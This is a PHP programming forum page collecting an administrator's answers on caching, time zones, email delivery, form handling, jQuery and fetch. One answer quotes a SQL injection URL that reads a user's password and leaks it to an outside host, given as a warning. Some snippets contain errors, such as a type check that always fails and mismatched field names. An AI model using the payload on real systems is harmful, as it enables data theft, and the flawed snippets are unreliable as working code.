Jump to content

gizmola

Administrators
  • Posts

    5,893
  • Joined

  • Last visited

  • Days Won

    139

Posts posted by gizmola

  1. Based on what your ISP stated to you, they have a Varnish Cache server in between "clients" and your server.

    The cache control headers you are setting have no effect on the varnish server.  They have configured it to cache your content for some period of time.

    You can learn a bit more about varnish by reading about it.  Keep in mind that this is their cache server, likely to reduced overall traffic to their hosts, and seems not to be something they advertise, which is a bit shady, but such is the way of shared hosting companies.

    So when they asked you if you wanted to turn it off, at least for the purposes of this  exercise the answer is "YES".

    This is the reason you are seeing the behavior you are seeing.  The requests are going to the server, the Varnish cache server is intercepting those requests and serving a cached version of your actual response for some period of time.  Once the setting expires, you see a new page.

  2. I want to also offer a simple fix for the huge sql injection hole this code has.   At least in this script you can somewhat mitigate it by "casting" the url parameter to an integer.

     

    // change
    
    $id = $_GET['t'];
    
    // To
    
    $id = (int)$_GET['t'];

     

    Usually this would work well, as in most systems there won't be a row with an id of zero.  

     

    If for example, someone tries to pass a url parameter like this one, it could be really bad:

    https:...yoursite.com?t= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.3w39ricodvyzuq0ood.somebadsite.net\1.xem',null,null))

     

    Casting the get parameter to an integer would safely convert all that attempted sql injection code to  0.

    You have the unfortunate situation that you decided to have a zero id, so you can't use that as a safety net now.  It's not the only nor best way to harden a system from sql injection attacks, but it is a simple and longstanding one, when your system intrinsically works with integer keys.

     

    With that said, I took Psycho's code and tweaked it a bit, which will at least get your system working again with 0, and will protect against sql injection, but this problem could exist throughout the other scripts, and fixing this one problem may not make it usable for you again. 

    To be clear replace the first few lines with these lines:

     

    <?php
    require_once('seabass.php');
    
    if (!isset($_GET['t']) || !is_int($_GET['t') || $_GET['t'] < 0)
    {
     header('Location: http://www.baltimorebeach.com');
    }

     

    And at least with this script your zero id team should load again.

  3. Pretty much all servers utilize UTC.  If they don't, that is ... well, "non standard" and ill advised, yet people who run their own servers, will choose to set their server up to a local timezone frequently, or use a function like "date_default_timezone_set('Europe/London');" which is ill advised in my considered opinion.

    With a server set to UTC, Data is stored as UTC and defaults will be UTC, since database types in general don't have a timezone component, and rely on the server.

    I'm not sure what your code is doing,  but it should rely on the intrinsic database types, which in turn will rely on the server's time.

    Once you know that everything is UTC, you can then transform any time to show it in the preferred timezone.  PHP DateTime objects are sophisticated and fully capable of reliably and easily converting from one timezone to another, or taking a datetime and displaying it in the Timezone that is preferred for the end user.  Since you are wanting  London, it's already only +1 hours from UTC.

  4. No, just trying to use javascript to post the same data the form is posting, is not going to fix whatever is not working right now.

    Did you debug the form handling using the developer tools of your browser?

    You want to open developer tools and use the Network Tab.  Then submit your form and you should be able to look at the request and the response.  This will show you if the server is returning any errors.

    As I said previously, the code you posted is simple and I see no problems with it.

    It most likely does work, only you are not getting the emails, and that has nothing to do with the code, and everything to do with how email works and the way your server works.

    Email deliverability is complicated, and to debug an issue with it requires a full understanding of your ISP.  In most cases, to send an email, you must use a mail server they supply.

    if (mail($recipient, $subject, $email_content, $email_headers)) {

    This is the line of code that actually sends the email, but what it really is doing is dumping the mail to your server's Mail Transfer Agent.

    I can't 100% tell you this is the case without knowing more about your ISP and your server, but by default that is how it works.  So to the PHP code, it looks like the mail is sent, but from there the mail will simply disappear because the MTA tries to forward the mail and that gets rejected.  This does not happen in realtime, so you will never know (without looking at logs) that the mail was never delivered.

    Many ISP's do not allow mail to be sent directly from a server, using the MTA, as a way of rejecting spam.  So in that case, they require you to deliver mail to their internal servers, and it will then be sent by their mail server for you.  

    You really need support from your hosting company to debug a complicated problem like email in many cases.

  5. If you were to utilize an MVC framework like Laravel or Symfony, they each have libraries that can easily generate CRUD for simple updates.  I'm not sure you're going to find anything which gives you a spreadsheet-like interface, but you may find it gets you most of the way to what you need.

    There are probably many of these I don't know about but just as a start:

    For Laravel:

    https://github.com/awais-vteams/laravel-crud-generator

    https://github.com/misterdebug/crud-generator-laravel

    For Symfony:

    Symfony has the maker bundle, that provides features that let you generate code, including CRUD.  This article outlines some of the basic things you install:  https://digitaldeveloper.dev/create-crud-symfony-7

    There's also the well known Easyadmin bundle that works with Symfony 7:  https://github.com/EasyCorp/EasyAdminBundle

    In both cases, you have to get a lot of the foundation classes built, and there will be a significant learning curve.  You can customize things once you know what you are doing, but again it is going to require some developer knowledge.  For example, people often will do a bit of integration with a css framework like bootstrap or tailwind in order to get things to look nice.

  6. One other thing I noticed is that you are going a bit crazy with your use of response codes.  A 200 code will be sent automatically, and you should not be sending all these other responses unless this is a REST api, where a client is doing something with the responses.  In this case, it appears you are just returning some information on an otherwise blank page.  Typically people creating a feature like this will integrate the form with the submission (a self posting form) and display errors back to the user in the same form until they either give up, or are successful.  With that said, I wouldn't try doing that until you have the redirection working.

  7. The code you added looks correct. 

    First off, remove the end tag from your script.  This is the final   "?>"

    Also after the header call, add a line with "exit;"

    When you are testing this code, make sure you have your developer tools open, and you are looking at an emptied network tab when you submit the form.  This will allow you to see what is going on when you submit the form, and you'll be able to look at the response.  Any sort of error or message will interfere with the redirect in the HTTP header of the response, so this will help you debug that.  

  8. One last very opinionated take, but in my experience, the best practice for HTML element naming is to use all lower case names, rather than camel case.  It also helps to differentiate between php variables in camelcase and corresponding html elements.

    If you feel strongly you want to have a separator in your html names, then use underscore between words.  It's best not to use dashes, as this will interfere/complicate using the very useful data-* feature of html/javascript integration, where data-* names will be turned into javascript camelcase equivalent values.

    I'm also a believer in using BEM when integrating your css.  

    I find that, by following conventions, it gives you underlying best practices to guide you in variable naming.

    PHP has a community coding standard PSR-12 that is a best practice to follow.

    So your html form, would be translated to:

    <form method="post">
          <input type="text" name="first_name" placeholder="First Name"><br>
          <input type="text" name="last_name" placeholder="Last Name"><br>
          <input type="submit" name="submit" value="Submit">
    </form>

    Notice that I removed your value assignments.  It's a bad idea to set the values of the form fields in advance like that, as submitting the form will have those values unless the user enters something into them.

     

     

    Then your processing becomes:

    function postTrim($formVariables) {
        foreach ($formVariables as $name) {
           if (isset($_POST[$name]) {
               $_POST[$name] = trim($_POST[$name]);
           }
        }
    }
    
    
    if(isset($_POST['submit'])){
    
        $formVariables = ['first_name', 'last_name'];
        postTrim($formVariables);
    
        $message = '';
        foreach ($formVariables as $name) {
        	if (empty($_POST[$name]) { 
                $message .= 'You must provide a value for ' . implode(array_map('ucfirst', explode('_', $name))) . '<br>';
            }
        }
        if ($message) {
            // Invalid Form Post
            echo $message;
            exit;
        }
        echo "running script<br>";
        
        $firstName = "First Name: {$_POST['firstname']}";
        $lastName = "Last Name: {$_POST['lastname']}";
        $file = fopen("file.txt", "a");
        fwrite($file, $firstName);
        fwrite($file, $lastName);
        fclose($file);
    }

     

    So I added a quick helper function that will use a whitelist of your form element names, to make sure that each element has been trimmed of whitespace before/after the variable.  It also will eliminate a field that just has spaces in it, but is otherwise empty.

    Then I added a check loop that goes through the whitelist and makes sure there were actual values posted.  If not it displays an error message, and does not add to the file.

    I hope these examples will help you on your way to PHP based web development mastery.  These are just simple examples, and I often don't actually check that the code is entirely valid, so there might be some bugs in there, but I encourage you to experiment, and read about any of the functions or things I've tried to demonstrate.

  9. This is a common pattern, where you have a script that renders a form and also processes it. 

    phppup provided a few great examples of how to handle it.  Sometimes people will also choose to use the ability of PHP to provide you the HTTP method, given that you only want to process the form when the HTTP method was a POST.

     

    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
      
       // This was a POST request. 
    
    }

     

    However, with all that said, looking at your actual code, which I have put in the code block below, your code already  should have been working, because it already evidently did what phppup demonstrated:

     

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    
    <head>
    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
    <title>Untitled 1</title>
    </head>
    
    <body>
    
    <form method="post">
          <input type="text" name="firstName" placeholder="First Name" value="first name"> <br>
          <input type="text" name="lastName" placeholder="Last Name" value="last name"> <br>
          <input type="submit" name="submit" value="Submit">
    </form>
    
    <?php
    echo "running script";
      
    if(isset($_POST['submit'])){
        $firstName = "First Name:" . $_POST['firstName']. "";
        $lastName = "Last Name:".$_POST['lastName'] . "";
        $file = fopen("file.txt", "a");
        fwrite($file, $firstName);
        fwrite($file, $lastName);
        fclose($file);
    }
    ?>

     

    The ONLY issue here, is that your script echos out "running script" regardless.  If you moved that echo statement inside the if loop, you would perhaps not be fooled into thinking the code that you did not want to be run was running.  In summary, your code already worked, but your debugging statement displayed even when the processing was not being run.

     

    One thing I would like to suggest to you, is that you can take advantage of variable interpolation.  It is one of the things that makes PHP very nice to work with, not unlike the introduction of template literals in javascript.  

    You have this concatenation:

    $firstName = "First Name:".$_POST['firstName']."";

     

    But with interpolation, you can use the much more natural and simpler to read, debug and modify:

    $firstName = "First Name:{$_POST['firstName']}";

     

    Interpolation is done anytime you utilize double quotes.  It's good practice (although a micro optimization) to use single quotes anytime you want a string constant.  When PHP sees double quotes around a string it will try to interpolate.  With single quotes, it will not.

     

    $name = 'Gizmola';
    
    echo "Hello $name <br>";
    \\ output:  Hello Gizmola <br>
    
    echo 'Hello $name <br>';
    \\ output:  Hello $name <br>

     

    I'm not sure why you originally had the extra  "", which essentially does nothing, as the code is saying "add nothing to the end of this string."  You can add things like newlines using escape characters.  A newline character can be added using "\n".

    $firstName = "First Name:{$_POST['firstName']}\n";

    Similar escape characters like tab can be inserted using this technique (in an interpolated string).

     

    Last but not least, you only need to enclose the variable inside a block ie,  {variable}, when the variable is an array element, as in the case of the $_POST.  Without putting the { .. } around the array variable, PHP is not able to parse the string properly, and you get a syntax error.  Putting the block around array variables solves the problem.  With simple php variables like "$name" you can just use them inside the double quoted string, and PHP will interpolate them into the resulting string variable.

     

    One of the strengths of PHP for web development is its HTML/PHP block modality, which you are using here.  Before long, however, you likely want to have something like a header.php you include in scripts, so you aren't cutting/pasting the same HTML block into each script.  Along these lines, PHP also has HEREDOCS which support interpolation.

     

    So you could move all of the your HTML boilerplate into a PHP script.  In your case, at least trivially, you would want to have the page title be a variable, in this case $title.

     

    //htmlHead.php
    <?php
    $htmlHead = <<<HEADER
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    
    <head>
    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
    <title>$title</title>
    </head>
    HEADER;

     

    Note a few things here:  You do not ever need to have an ending PHP tag in your scripts, class files or function collections.  The only time you need to use a php end tag (?>) is if you are dropping in and out of PHP mode.

     

    So now we can rewrite your original script this way:

    <?php
    $title = 'Name File Processing';
    require_once('htmlHead.php');
    echo $htmlHead;
    ?>
    <body>
    
    <form method="post">
          <input type="text" name="firstName" placeholder="First Name" value="first name"> <br>
          <input type="text" name="lastName" placeholder="Last Name" value="last name"> <br>
          <input type="submit" name="submit" value="Submit">
    </form>
    
    <?php
    
      
    if(isset($_POST['submit'])){
        echo "running script<br>";
      
        $firstName = "First Name: {$_POST['firstName']}";
        $lastName = "Last Name: {$_POST['lastName']}";
        $file = fopen("file.txt", "a");
        fwrite($file, $firstName);
        fwrite($file, $lastName);
        fclose($file);
    }
    ?>
    </body>

     

  10. On 5/26/2024 at 1:15 AM, Barand said:

    Check the content of your arrays.

    It looks like $allowed_forums contains a blank entry.

    This is the answer.  If you log out the $allowed_forums array, or even just the $forum_id inside the foreach loop, you will see that at least one entry is blank/empty.  Danish provided at least 2 ways you could rewrite the code to mitigate this.  You also might look into how exactly it is that the array gets built with empty array elements in the first place, and prevent that from happening.  There are useful performant array functions like array_filter that can make this quite easy to do.

     

    For example:

    foreach (array_filter($allowed_forums) as $forum_id) {
    ... etc.
    }

    By default, with no callback, array_filter will remove any array elements that are empty or false equivalent, so that would also fix your current issue, although again, it might be better to find the actual source of the empty/erroneous array value in the first place.

  11. You have been provided some plausible theories already.  As explained by Psycho, with loosely typed languages like PHP, type coercion is often used in logic statements, where zero is equivalent to false.  

    You have been asked a number of times for some code to look at.  Days have now gone by, and still we have no code to analyze.  

    You also have said that you get no errors, but I'm not sure if we can trust that information.  A production PHP site is typically set up to not display any errors, and usually to log them to a file instead.  Have you verified your configuration, and checked the relevant error file?

  12. 9 hours ago, charlie321 said:

    Thanks for the help and suggestions.  I am sort of at a loss on this it has been so long.  I am going to include all the code as it seems what I didn't include last time is the problem.  Is it possible that when godaddy moved it some of the login credentials were changed?  The move caused some other problems.   I had the login set up for local or server access. 

    Right -- well as I said, yes it looks like there is something different about the login credentials for the database.  Typically on Godaddy shared hosting the mysql database is a shared resource, and they should document what you need to use for the host string, as well as being able to set your login/password for a specific database.  I would suggest you seek that info from GoDaddy.

  13. There's any number of things that could be problematic but that "error" is specifically a "warning".  In general warnings are things you might need to be aware of, but don't rise to the level of an actual runtime error.  

    The line you think is 68 doesn't run a mysqli query, so that is not the source of the problem.  Given the offset of the errors it looks like it's the INSERT statement inside the loop that is failing.  Other queries to follow that try to truncate the database and insert into the control table also fail.

    This error tends to be associated with trying to use a mysql connection that isn't open or was open and then closed by erroneous code.  

    Since you left out some code, it's hard to be certain, but an educated guess makes me think that the database connection is failing, since you never check in this line:

     

    $connect = new mysqli($servername, $username, $password, $dbname);

    You should check that with:  

    if (!$connect = new mysqli($servername, $username, $password, $dbname)) {
        echo "<p>Could not connect to the database</p>";
    }

     

  14. On 4/24/2024 at 2:30 PM, Yesideez said:

    I've got XAMPP installed onto two machines.

     

    This (my primary machine) is running Manjaro and my laptop behind me is running Mint.

     

    I've rebooted my laptop and I can no longer find any application in the launch menu (Start menu on Windows) called LAMPP or XAMPP. Tried typing LA and XA and get nothing returned. How do I launch it please?

    I'm confused.  You have 2 workstations both running linux, and you can't find where xampp is in the windows start menu?  

    Personally, I don't understand why you would use xampp under Linux, when it's easy enough (and just better all around) to install the components you want using the distro package manager.  Xampp for linux is a poor substitute for that, for a variety of reasons.

    Furthermore, when you can easily use docker and any of the many docker projects that will easily orchestrate the docker containers for the same components.  

    Laradock and Devilbox are two projects that have been around for a long time, either of which makes it easy to get a docker based lamp stack up and running, with many commonly used components and toolchains that can be added in.

    Last but not least, linux has the old "which" and "whereis" commands available you can use to find out where programs exist (httpd, php, mysql, etc).  This combined with a search of /etc will usually show you where things are, and what configuration files are being used.

  15. 23 hours ago, forum said:

    Why, when laying out in the header, and then in the main or footer, the top elements in the same main or header begin to shift, is there really no tag that fixes these elements?

    Because HTML provides structure not layout.  CSS provides layout, and in particular css position has many options for positioning elements in a particular place.  Sticky, Fixed and Absolute are all position settings that might accomplish whatever it is that you are trying to do.

    Without specific examples of html and css you are working with, there isn't much more anyone can do for you.  

  16. Your desired format is json.

    You keep posting the output from a var_dump of a php array.

    Do you understand the difference between json and a php array, and that var_dump is just a diagnostic tool for seeing what php arrays and objects look like internally?  

    You must json_encode() the data as Barand already instructed.

    Take the output you get from json_encoding and paste that into a code block for any future discussion please.

     

  17. The ability to print from a website is a local operating system capability, built into the browser.  There is nothing special that PHP can do to help or hinder the process.

    Javascript can be used to invoke the built-in browser support for printing, but again, printing will always require the user to take action.

    For example, here is a simple button inside an anchor tag with some javascript.

    <a href="#" media="all" onclick="window.print();return false;"><button type="button">Print</button></a>

     

    You can use media queries in your css to style a page for printing by adding a style section like this:

    @media print {
        /* styles here */
    }

    Typically people will hide things like menus, footers, nav, sidebars etc.  You also might want to set a margin around the content, since typically printers have that constraint,  so you might have something like this:

    @media print {
        header, footer {
            display: none;
        }
    }

    Here is a pretty good sitepoint article that goes into much more detail.

  18. I suppose you could do lookaheads to make sure that the @ is the last character or followed by whitespace.  This would leave pre-existing replacements alone.

    $(document).on('change','#userlist', function(e){															 
        const username = $(this).find('option:selected').val();
        let notesInput = $('#notes-input').val();
        notesInput = notesInput.replace(/(@((?=$)|(?=\s)))/i, '@'+username);
        $('#notes-input').val(notesInput);
        $('#userlist').addClass('d-none');
        $('#notes-input').focus();
    });

     

  19. You did not provide the code that moves the input into the list.  It's also not clear whether or not the text should retain the @. 

    The first issue is this line:  $('#notes-input').val() = $('#notes-input').replaceWith('/@([a-z0-9_]+)/i', username);

    Using jquery selector.val() gets the value.  So you can't assign something to that.

    You also have an issue using replaceWith, which replaces an entire element rather than just the value.

    Another change I've added triggers the substitution on the select list  'change' event rather than the click event.

    I put in some debug statements so that you can better see what is happening.  

     

    $(document).on('change','#userlist', function(e){															 
        const username = $(this).find('option:selected').val();
        console.log(username);
        let notesInput = $('#notes-input').val();
        console.log(notesInput);
        notesInput = notesInput.replace(/@([a-z0-9_]+)/i, '@'+username);
        console.log(notesInput);
        $('#notes-input').val(notesInput);
        $('#userlist').addClass('d-none');
        $('#notes-input').focus();
    });
  20. I don't know what your development platform is, but there are many issues with email deliverability that will be hard to diagnose.  For this reason, I highly recommend using a local mail catcher/debugger with one of the best known being Mailhog.  Unfortunately mailhog seems to be an abandoned project, so a newer one that is currently maintained is mailpit.

    Assuming that you have docker installed, you can start mailpit easily using docker run:

    docker run -d \
    --restart unless-stopped \
    --name=mailpit \
    -p 8025:8025 \
    -p 1025:1025 \
    axllent/mailpit

    This will start what looks to client code like an SMTP server available at localhost:1025, and there will be an admin web interface that shows you the emails that are received on port localhost:8025.

    You would need to change your phpmailer setup slightly for testing, so that you send mail to localhost and port 1025.  I don't know if TLS support works or not so you may need to disable the tls settings.

    I also think it would help you if you studied the concept of dependency injection.  For example, whenever you have a method or function that is doing something like this:

     

    // Function to send email notification using PHPMailer
    function sendEmailNotification($recipientEmail, $applicationId, $surname) {
        // Instantiate PHPMailer
        $mail = new PHPMailer(true);

    That should be a sign to you that you probably want to use dependency injection instead.

    Best practices at this point are to move credentials out of your code base and into .env files or something similar.  Having credentials in your code is another vector for security exploitation. If someone gets access to your source code, they have everything they need to connect to your server or in a case like this, send emails to an account.

    They also make having different environments (dev/test/stage/production) each with different configurations that isolate them from each other.  Hopefully you are not developing and testing in production!

    Most of what you are doing in sendEmailNotification() is setting up PHPMailer.  You should move all of that code out into a configuration routine that reads configuration variables from a .env or perhaps a simple php configuration file.  

    Instead of what you are currently doing, you should create and configure your phpmailer object outside the sendEmailNotification function, and pass it as a dependency.

     

    // Function to send email notification using PHPMailer
    function sendEmailNotification(PHPMailer $mail, $recipientEmail, $applicationId, $surname) {

     

    You could add a simple function that configures and returns a PHPMailer object, and reads in configuration variables in some other way.  There are plenty of libraries out there, to read .ini files, or dotenv etc.

  21. There are a couple of PHP specific commercial addons.  The default one isn't very good unfortunately, and you should disable it.

    I have had good results (as have many other people) using PHP Inteliphense.  Inteliphense can be used in basic mode, or you can pay $20 use to get upgraded features.  I would start with the free version and see if it is working for you, and then if you like it, consider paying for the extra features.  

    It is very important that you follow the instructions on the page, which has you disable the default php intelisense.  Otherwise it will conflict with other php addons.

    As for xdebug, there isn't one magic way for it to work, because it really depends on how and where you are running php.  

    In the php4lamp docker project I have this config file:  Docker4lamp xdebug instructions

    It is designed to work with this xdebug.ini file (for use with the docker containers). xdebug.ini

    Of particular interest, and a setting you should look at in the xdebug.ini file is the xdebug.client_host= setting

     

  22. Just going back a bit to your question, and some short history:
     

    Under the covers, the XMLHttpRequest() was a non-standard addition to the official DOM api, first added in by microsoft.  While it was an important idea, as it was not standard, and not every browser maker was eager to add the feature in, so there's still code floating around that was aimed at specific browsers (microsoft in particular, as they were the inventor of it).  With that said, it's at the core of all "ajax".  

    The acronym "AJAX" is short for "Asynchronous JavaScript and XML" which in reality rarely involves XML anymore.  Most people use json as the data transport format and not xml.

    $.ajax() is the grandparent of javascript libraries:  jquery. 

    Just a quick aside, but Jquery was the first to popularize taking advantage of the fact that javascript allows you to name a variable '$'.  It doesn't own the use of $, being that it's just an alias for the jquery object, but regardless, there's so much code around that used demonstrated $.ajax() people still associate it with jquery, and to be fair, it was a nice improvement over hand coding all DOM manipulation code yourself.  The ajax() method is just a small part of jquery, but it's still popular with many developers for its simplicity and ease of implementation.  It was also created prior to a number of improvements to javascript itself, in particular ES6.  And it's still the best known wrapper around XMLHttpRequest, although there have been any number of other libraries around that people used to do the same thing.

    In recent years, people have moved away from jquery (which is a large library) in favor of other more lightweight and problem specific libraries. 

    In the ajax coding world, one popular competitor to using jquery for ajax is Axios.  

    As for the fetch api, it is an entirely different animal, being that it was designed as an alternative to the use of XMLHttpRequest and was part of an initiative to provide more robust support for http request/response architecture.  In other words, it was purpose built as an alternative to using XMLHttpRequest. 

    One of the main reasons you want to write code that uses fetch, is that fetch was built on top of ES6 and inherently uses Promises.

    Just in case you aren't clear on this, prior to promises, people used callbacks.  The more complicated the code the more likely you were to have a mess of interwoven callbacks, leading to the phrase "callback hell".

    So promises were introduced into the language as an alternative to callbacks.  The fetch api returns a Promise object, and you will often see code that uses it that way, with a chain of code like this:

     

    fetch(url, options)
      .then((response) => response.json())
      .then((data) => {
        console.log(data);
    });

    You might also notice, that using fetch, not unlike using the native XMLHttpRequest function is built into the browser.  You don't need a library to do it.  Looking back on it, what Axios attempted to do, was bridge the gap between the introduction of Promises and an api that allowed you to write promise based code, only under the covers it was still using XMLHttpRequest.

    Unlike Axios, you don't need any library... just put your fetch code in there, and it already hides lots of complexity and works for you.

    Last but not least, given the intrinsic use of Promises, anyone can also take advantage of the syntactic sugaring of Async Await when writing your fetch api code.

  23. If you find video material helpful, this channel is an amazing resource: 

     

    If you look through the playlist, you can cherry pick individual videos for topics like OOP, Namespaces, Composer etc.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.